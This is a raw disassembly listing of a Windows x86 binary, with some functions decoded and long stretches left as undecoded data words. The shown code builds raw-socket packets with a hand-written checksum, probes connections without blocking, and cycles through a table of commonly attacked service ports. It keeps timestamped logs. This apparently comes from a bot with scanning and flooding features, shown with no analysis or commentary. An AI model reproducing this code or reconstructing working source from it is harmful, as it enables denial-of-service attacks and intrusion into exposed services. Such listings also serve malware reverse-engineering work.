		dd 0FF49CDE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah
		dd 0FF44B5FFh, 1AE8FFFFh, 59FFFF68h, 0E8905359h, 22CB148h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414EE4
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414ED6:				; CODE XREF: ___:00414EDEj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414ED6
		pop	edi
		cmp	eax, 1


loc_414EE4:				; CODE XREF: ___:00414ECAj
		jnz	short loc_414EF1
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414EF1:				; CODE XREF: ___:loc_414EE4j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
word_414F0A	dw 8B55h		; DATA XREF: sub_401AC7+6C61o
		dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
		dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
		dd 0BEE850FFh, 5900006Fh, 70858D50h, 50FFFFFEh,	934415FFh
		dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h,	0FC8B5965h
		dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 8068FFFFh,	50004374h
		dd 7091E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0C3E8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D40E850h,	75FF0000h
		dd 6713E8F0h, 5959FFFFh, 41E89056h, 55022CB0h, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 938415FFh, 4589004Ch,	50D6FFF8h
		dd 7063E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7DE8h, 50595900h
		dd 50D8458Dh, 6CFFE8h, 0CC48300h, 5A0BEh, 42E89000h, 2B0227B8h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h
		dd 4CCAC01Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6CC0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4C92A8h, 0FF68h, 0E8016A00h,	3B12h, 45B60F50h, 0B60F509Eh
		dd 0F509D45h, 509C45B6h, 0FF34858Dh, 1068FFFFh,	500042D9h
		dd 6F75E8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4CC4A068h
		dd 79E85000h, 59000075h, 34858D59h, 50FFFFFFh, 934415FFh
		dd 4589004Ch, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h
		dd 930415FFh, 8966004Ch, 8BE8AE45h, 6600006Fh, 8BB04589h
		dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h
		dd 0B545C640h, 5D896606h, 0BC4589B6h, 6F61E8h, 45896600h
		dd 6F58E8C0h, 89660000h, 4FE8C245h, 8900006Fh, 47E8C445h
		dd 8900006Fh, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h
		dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah,	8D8C4589h
		dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h
		dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h
		dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh,	8C68BC45h
		dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h
		dd 0AFE806FFh, 907169C5h, 5E858966h, 8DFFFFFFh,	0FFFF6085h
		dd 50146AFFh, 50C0458Dh, 78FFE8h, 74858D00h, 57FFFFFFh
		dd 0D8458D50h, 78EEE850h, 858D0000h, 0FFFFFF54h, 59868h
		dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h,	5088458Dh
		dd 0A8458D53h, 75FF5056h, 6815FFF8h, 0FF004C93h, 22E9FC45h
		dd 0FFFFFFFEh, 15FFF875h, 4C939Ch, 5FFC458Bh, 0C3C95B5Eh
dword_415208	dd 81EC8B55h, 414ECh, 8558B00h,	85B856h, 8B570000h, 8DF28BC8h
					; DATA XREF: sub_401AC7+4BE2o
		dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h
		dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h
		dd 68FFFFFBh, 4374B4h, 6DACE850h, 0C4810000h, 220h, 0FBEC858Dh
		dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF6455h, 6A5959h
		dd 0AD82E890h, 8B55022Ch, 54EC81ECh, 53000002h,	0FFBB56h
		dd 53570000h, 26A036Ah,	938415FFh, 0F883004Ch, 0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4376A468h, 53E85000h,	5900006Dh
		dd 0E959FF33h, 2C6h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4C92E415h, 0FFF88300h,	15FF0E75h
		dd 4C9298h, 76546850h, 1BEB0043h, 500C458Dh, 934415FFh
		dd 0F883004Ch, 0FF2075FFh, 4C929815h, 10685000h, 8D004376h
		dd 0FFFDAC85h, 0F7E850FFh, 8300006Ch, 6BE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4C9304h, 0DE458966h, 500C458Dh
		dd 69BFC7E8h, 358B9071h, 4270B8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0E468FFFFh, 50004375h, 6CB1E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF44E5E8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 5AE85000h, 3B00006Bh, 870F59F0h, 191h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0CAC03D39h, 5075004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6943E8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4C92A815h, 16A5300h, 3799E8h
		dd 0B60F5000h, 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h
		dd 42D91068h, 0FFE85000h, 8300006Bh, 10EB20C4h,	68AC458Dh
		dd 4CC4A0h, 7206E850h, 59590000h, 0A005C656h, 45004CC6h
		dd 930415FFh, 0A366004Ch, 4CC6A2h, 50AC458Dh, 0A405C766h
		dd 1004CC6h, 3D896600h,	4CC6A6h, 0C6A805C6h, 0C680004Ch
		dd 4CC6A905h, 89661100h, 4CC6AA3Dh, 4415FF00h, 0A3004C93h
		dd 4CC6ACh, 0A3E0458Bh,	4CC6B0h, 8C858Dh, 66500000h, 0C6BA3D89h
		dd 7AE8004Ch, 8500006Ah, 107559C0h, 6BD9E8h, 1B99900h
		dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6A59h, 15FF5059h
		dd 4C9304h, 0C6B6A366h,	0AFE8004Ch, 9900006Bh, 401B9h
		dd 4086800h, 0F9F70000h, 0B4158966h, 0FF004CC6h, 4C930415h
		dd 4006800h, 0A3660000h, 4CC6B8h, 6B85E8h, 0FBF79900h
		dd 0C6BC6852h, 25E8004Ch, 83000068h, 458D0CC4h,	50106ADCh
		dd 0A0685657h, 0FF004CC6h, 15FFF475h, 4C9368h, 0FFFF883h
		dd 0A484h, 0FC45FF00h, 0B34BE890h, 452B0227h, 0B9D233F8h
		dd 3E8h, 0D88BF1F7h, 10C858Dh, 0E8500000h, 69C9h, 0F59D83Bh
		dd 0FFFE7686h, 0F475FFFFh, 939C15FFh, 758B004Ch, 0C858DFCh
		dd 50000001h, 41CF669h,	0A2E80000h, 8B000069h, 0C1C68BC8h
		dd 0D2330AE8h, 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch
		dd 0FFFFFDACh, 43758068h, 87E85000h, 8300006Ah,	0BD391CC4h
		dd 214h, 8D572075h, 0FFFDAC85h,	10B5FFFFh, 50000002h, 18C858Dh
		dd 0FF500000h, 0BBE80875h, 83FFFF42h, 5E5F14C4h, 0C95BC033h
		dd 0FC75FFC3h, 9815FF56h, 50004C92h, 500C458Dh,	0FDAC858Dh
		dd 0F468FFFFh, 50004374h, 6A35E8h, 18C48300h
		db 0EBh, 0ACh
word_4155D6	dw 8B55h		; DATA XREF: sub_401AC7+62C1o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 68F0E8h
		dd 8D505900h, 0FFFE7085h, 0E2E850FFh, 59000068h, 0F0858D50h
		dd 50FFFFFDh, 934415FFh, 0E850004Ch, 144h, 0EC858D50h
		dd 68FFFFFBh, 4376D0h, 69C8E850h, 0F6330000h, 3918C483h
		dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h
		dd 0B5FF50FFh, 0FFFFFDECh, 0FF41FDE8h, 14C483FFh, 0FBEC858Dh
		dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF604Dh, 0E8565959h
		dd 22CA97Ch
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156B0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_41576C
; ---------------------------------------------------------------------------


loc_4156B0:				; CODE XREF: ___:0041569Aj
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4C92AC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4C92EC
		test	eax, eax
		jnz	short loc_415714
		or	eax, 0FFFFFFFFh
		jmp	short loc_41576C
; ---------------------------------------------------------------------------


loc_415714:				; CODE XREF: ___:0041570Dj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_41571F


loc_41571B:				; CODE XREF: ___:0041573Fj
					; ___:00415763j
		mov	eax, edi
		jmp	short loc_41576C
; ---------------------------------------------------------------------------


loc_41571F:				; CODE XREF: ___:00415719j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426636
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_415741
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426636
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41571B


loc_415741:				; CODE XREF: ___:0041572Ej
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_41571B
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_41576C:				; CODE XREF: ___:004156ABj
					; ___:00415712j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dd 81EC8B55h, 10CECh, 57565300h, 3358016Ah, 535350DBh
		dd 0FF68h, 6A036A00h, 0EC458902h, 26BE890h, 4D8D716Ah
		dd 51046AECh, 5053026Ah, 4CCB30A3h, 0E415FF00h,	8B004C92h
		dd 4270B835h, 50D6FF00h, 689FE8h, 0C0335900h, 0BD8D196Ah
		dd 0FFFFFF00h, 0F49D8959h, 89FFFFFEh, 9D89844Dh, 0FFFFFEF8h
		dd 0FEFC9D89h, 85C7FFFFh, 0FFFFFF74h, 401h, 0FF7885C7h
		dd 15FFFFh, 85C70000h, 0FFFFFF7Ch, 16h,	178045C7h, 0C7000000h
		dd 358845h, 45C70000h, 508Ch, 9045C700h, 51h, 589445C7h
		dd 0C7000000h, 6E9845h,	45C70000h, 719Ch, 0A045C700h, 77h
		dd 87A445C7h, 0C7000000h, 89A845h, 45C70000h, 8BACh, 0B045C700h
		dd 8Fh,	0BBB445C7h, 0C7000001h,	1BDB845h, 45C70000h, 400BCh
		dd 0C045C700h, 599h, 0DCC445C7h, 0C7000005h, 6B8C845h
		dd 45C70000h, 0CEACCh, 0D045C700h, 0D3Dh, 88D445C7h, 0C7000013h
		dd 1A0BD845h, 45C70000h, 1F40DCh, 0E045C700h, 1F90h, 5D89ABF3h
		dd 0E445C7F0h, 3, 0B8E845C7h, 8900000Bh, 458BFC5Dh, 85C76608h
		dd 0FFFFFF64h, 85890002h, 0FFFFFF68h, 8DFC458Bh, 0FF7405BCh
		dd 8B66FFFFh, 0FF740584h, 0FF50FFFFh, 4C930415h, 16A5300h
		dd 8966026Ah, 0FFFF6685h, 8415FFFFh, 8D004C93h,	4589E44Dh
		dd 8D8D51F4h, 0FFFFFF64h, 5051106Ah, 0FFFD7EE8h, 10C483FFh
		dd 0FFF84589h, 15FFF475h, 4C939Ch, 75F85D39h, 0FC4D8B0Ch
		dd 8489078Bh, 0FFFEF40Dh, 0FC4583FFh, 0FC7D8304h, 0BF837C70h
		dd 4CCB34h, 42CDCC68h, 0C3E85700h, 59000066h, 89D6FF59h
		dd 858DF445h, 0FFFFFEF4h, 89FC5D89h, 0D6FFF845h, 33F4452Bh
		dd 3E8B9D2h, 0F1F70000h, 770C453Bh, 0F8458B45h,	0C33B008Bh
		dd 57501574h, 4376FC68h, 45895700h, 6684E8F0h, 0C4830000h
		dd 681AEB10h, 0FFFFh, 31F0E853h, 59590000h, 415FF50h, 0F004C93h
		dd 4589C0B7h, 0FC45FFF0h, 4F84583h, 1CFC7D83h, 286AA87Ch
		dd 0CAD06853h, 55E8004Ch, 0BE000063h, 0FFFFh, 0CAD005C6h
		dd 5645004Ch, 40068h, 0D905C600h, 6004CCAh, 0CAD105C6h
		dd 0E808004Ch, 31A2h, 5014C483h, 930415FFh, 286A004Ch
		dd 0CAD4A366h, 15FF004Ch, 4C9304h, 0CAD80D80h, 39FF004Ch
		dd 4CCAC01Dh, 0D2A36600h, 66004CCAh, 0CAD61D89h, 1A75004Ch
		dd 0FFFE68h, 0E8016A00h, 3162h,	4D8B5959h, 10E0C108h, 0C10BCE23h
		dd 0A0680BEBh, 0FF004CC4h, 4C934415h, 0CADCA300h, 458B004Ch
		dd 40006808h, 0E0A30000h, 88004CCAh, 4CCAF11Dh,	415FF00h
		dd 56004C93h, 0F2A36653h, 0E8004CCAh, 311Eh, 5356F88Bh
		dd 0E808E7C1h, 3112h, 310C483h,	15FF57F8h, 4C9300h, 4CCAE8A3h
		dd 0CAF0A000h, 7D8B004Ch, 0C0F2408h, 0A2146A50h, 4CCAF0h
		dd 0F0458B66h, 0CAEC1D89h, 8966004Ch, 4CCAF61Dh, 0E6A36600h
		dd 89004CCAh, 4CCB0C3Dh, 101D8800h, 0C6004CCBh,	4CCB1105h
		dd 15FF0600h, 4C9304h, 0CB12A366h, 0A166004Ch, 4CCAE6h
		dd 0F805C766h, 2004CCAh, 0FC3D8900h, 66004CCAh,	4CCAFAA3h
		dd 0FC5D8900h, 0FFBE05EBh, 390000FFh, 2F75FC5Dh, 87E85356h
		dd 59000030h, 15FF5059h, 4C9304h, 0CAE4A366h, 0DCA1004Ch
		dd 0A3004CCAh, 4CCB08h,	0CAF105C6h, 8902004Ch, 4CCAEC1Dh
		dd 561FEB00h, 0F105C653h, 10004CCAh, 3051E8h, 50595900h
		dd 930415FFh, 0B70F004Ch, 0CAECA3C0h, 0FF66004Ch, 4CCAD405h
		dd 0E805FF00h, 66004CCAh, 4CCAE6A1h, 59056A00h,	4CCAE4BEh
		dd 0CB14BF00h, 8966004Ch, 4CCADA1Dh, 1D896600h,	4CCAF4h
		dd 0A5F3146Ah, 4CCAD0BEh, 0FAA36600h, 56004CCAh, 0FF4ECEE8h
		dd 68206AFFh, 4CCB08h, 0CADAA366h, 0BCE8004Ch, 83FFFF4Eh
		dd 0A36610C4h, 4CCAF4h,	0F868106Ah, 53004CCAh, 0FF56286Ah
		dd 4CCB3035h, 6815FF00h, 0FF004C93h, 7D81FC45h,	3FFFCh
		dd 238C0F00h, 90FFFFFFh, 27AC94E8h, 0F4452B02h,	0E8B9D233h
		dd 0F7000003h, 0C453BF1h, 75FF0E77h, 0B2FBE810h, 0E9900225h
		dd 0FFFFFDC2h, 34B85E5Fh, 5B004CCBh
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BF6	proc near		; CODE XREF: sub_401AC7+710Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43B4C0
		mov	edi, 0B8h


loc_415C0A:				; CODE XREF: sub_415BF6+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C2D
		push	[ebp+arg_0]
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C2D
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43C040
		jl	short loc_415C0A
		jmp	short loc_415C6F
; ---------------------------------------------------------------------------


loc_415C2D:				; CODE XREF: sub_415BF6+17j
					; sub_415BF6+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43B4C0[esi]
		push	ebx
		call	sub_41BD10
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BD70
		push	9Fh
		lea	eax, dword_43B4D8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BD70
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_415C6F:				; CODE XREF: sub_415BF6+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C76	proc near		; CODE XREF: sub_401AC7+2880p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437718
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43B4C0


loc_415CA0:				; CODE XREF: sub_415C76+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415CDB
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437704
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C100
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 2Ch


loc_415CDB:				; CODE XREF: sub_415C76+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43C040
		jl	short loc_415CA0
		pop	edi
		pop	esi
		leave
		retn
sub_415C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CEE	proc near		; CODE XREF: ___:004015A2p
					; ___:00401623p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	ebx, offset dword_4D0F34
		mov	edi, 80h
		mov	esi, offset dword_4CCF34


loc_415D10:				; CODE XREF: sub_415CEE+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D27
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_415D27:				; CODE XREF: sub_415CEE+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D10
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C100
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D62	proc near		; CODE XREF: sub_4017E7+F7p
					; sub_401AC7:loc_408954p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C900
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415CEE
		add	esp, 14h
		leave
		retn
sub_415D62	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D8E	proc near		; CODE XREF: sub_401AC7+2777p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CCF34
		xor	ecx, ecx


loc_415D95:				; CODE XREF: sub_415D8E+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D0F34
		jl	short loc_415D95
		cmp	[esp+arg_C], ecx
		jnz	short loc_415DC3
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437764
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409862
		add	esp, 14h


loc_415DC3:				; CODE XREF: sub_415D8E+19j
		push	offset dword_437750
		call	sub_415CEE
		pop	ecx
		retn
sub_415D8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DCF	proc near		; CODE XREF: ___:0040E1F0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CCF34


loc_415DD5:				; CODE XREF: sub_415DCF+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415DEA
		push	[esp+4+arg_0]
		push	esi
		call	sub_418584
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415DFC


loc_415DEA:				; CODE XREF: sub_415DCF+9j
		add	esi, 80h
		cmp	esi, offset dword_4D0F34
		jl	short loc_415DD5
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415DFC:				; CODE XREF: sub_415DCF+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415DCF	endp

; ---------------------------------------------------------------------------
byte_415E01	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+282Ao
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E54
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437794
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409862
		add	esp, 14h


loc_415E54:				; CODE XREF: ___:00415E34j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415E74
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415E74
		mov	[ebp-8], eax


loc_415E74:				; CODE XREF: ___:00415E5Bj
					; ___:00415E6Fj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CCF34


loc_415E7D:				; CODE XREF: ___:00415ED5j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415ED7
		cmp	byte ptr [esi],	0
		jz	short loc_415EC6
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EAC
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EAC
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418584
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415EC6


loc_415EAC:				; CODE XREF: ___:00415E91j
					; ___:00415E97j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409862
		add	esp, 14h


loc_415EC6:				; CODE XREF: ___:00415E88j
					; ___:00415EAAj
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D0F34
		jl	short loc_415E7D


loc_415ED7:				; CODE XREF: ___:00415E83j
		lea	eax, [ebp-31Ch]
		push	offset dword_437778
		push	eax
		call	sub_41C006
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F11
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409862
		add	esp, 14h


loc_415F11:				; CODE XREF: ___:00415EEFj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415CEE
		push	dword ptr [ebp-18h]
		call	sub_40B6C9
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0D2h, 0A0h
; ---------------------------------------------------------------------------
		sub	al, 2
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F30	proc near		; CODE XREF: ___:004165D5p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4C9384
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FAC
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4C9304
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4C9344
		cmp	eax, esi
		jnz	short loc_415F91
		push	[ebp+arg_0]
		call	dword_4C9388
		test	eax, eax
		jz	short loc_415FAC
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415F91:				; CODE XREF: sub_415F30+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4C92AC
		cmp	eax, esi
		jnz	short loc_415FB0
		push	edi
		call	dword_4C939C


loc_415FAC:				; CODE XREF: sub_415F30+1Bj
					; sub_415F30+58j
		mov	eax, esi
		jmp	short loc_415FB2
; ---------------------------------------------------------------------------


loc_415FB0:				; CODE XREF: sub_415F30+73j
		mov	eax, edi


loc_415FB2:				; CODE XREF: sub_415F30+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F30	endp

; ---------------------------------------------------------------------------
word_415FB6	dw 8B55h		; DATA XREF: sub_401AC7+9F6o
		dd 11B4B8ECh, 0DDE80000h, 8B000062h, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 781468FFh, 0E8500043h, 5FFEh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3839E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFFCB6h, 0E8F075FFh, 0FFFF5689h, 90565959h
		dd 2C9FB7E8h, 0B4B86802h, 0E8530043h, 40FEh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 77E468FFh, 0E8500043h, 5F9Ah
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
